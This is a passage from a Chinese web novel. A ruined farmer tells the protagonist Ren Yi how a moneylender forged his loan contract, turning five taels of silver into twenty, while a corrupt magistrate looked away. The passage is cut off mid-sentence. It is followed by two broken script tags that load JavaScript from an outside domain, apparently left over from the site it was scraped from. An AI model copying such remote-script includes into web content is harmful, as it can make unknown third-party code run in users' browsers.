“任先生!”
那人的声音嘶哑,带着哭腔,像一只被掐住了脖子的困兽。
“我不懂啊!”
“我就是借了五两银子!五两啊!”
“怎么就什么都没了!”
“我的地没了!房子没了!我爹的腿断了!我女儿跑了!我什么都没有了!”
“我不懂啊任先生!这到底是为什么啊!”
他的声音,在安安静静的屋子里回荡。嘶哑,破碎,像一面被砸烂了的鼓。泪水从他脏兮兮的脸上淌下来,冲出两道白白的印子,砸在地上。
屋子里,瞬间安静了。
那些话,那些 “五两银子”,那些 “地没了”“房子没了”,像一把把钝刀子,一下一下,割在每个人心上。
任弋站在那里,看着跪在地上的人,忽然想起来了。
几年前,他去隔壁王家村,刺杀王富的那个晚上。这个人就站在人群里,举着火把,脸上又是惊恐,又是痛快。火光映着他的脸,那时候他还不是这副人不人鬼不鬼的模样。
“你是隔壁王家村的?” 任弋轻声问。
跪在地上的人,拼命点头。头磕在地上,咚咚作响。
任弋没再问,伸手去扶他。
可他却不肯起来。死死跪在地上,浑身抖得像秋风里的落叶。
“任先生,” 他的声音哑得快听不见了,“我就是借了五两银子。我爹腿断了,我要给他看病。郑阔海跟我说,九出十三归,三个月还六两五。我算过的,我咬咬牙,拼了命干活,能还上的。”
“可我还钱的时候,欠条变了。上面写的五出二十归。五两银子,要还二十两。”
“我的手印在上面,可我不认那个字啊!我明明只按了一个手印,可上面的字,跟我当初看的,根本不是一样的!”
他抬起头,满脸是泪,眼睛红得像要滴血。
“我不认字啊任先生!我一个种地的,哪里认得那些字啊!”
“地没了。房子没了。我女儿带着爷爷奶奶,逃荒去了,不知道去了哪里。”
“我的肋骨断了,腿也断了,我什么都没有了。”
“任先生,我不懂啊!这世道到底是怎么了?新来的县官,上任的时候贴了告示,说要爱民如子,要秉公执法。可他和郑阔海一起吃饭,收他的礼,他不管啊!他根本不管我们的死活啊!”
他趴在地上,肩
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">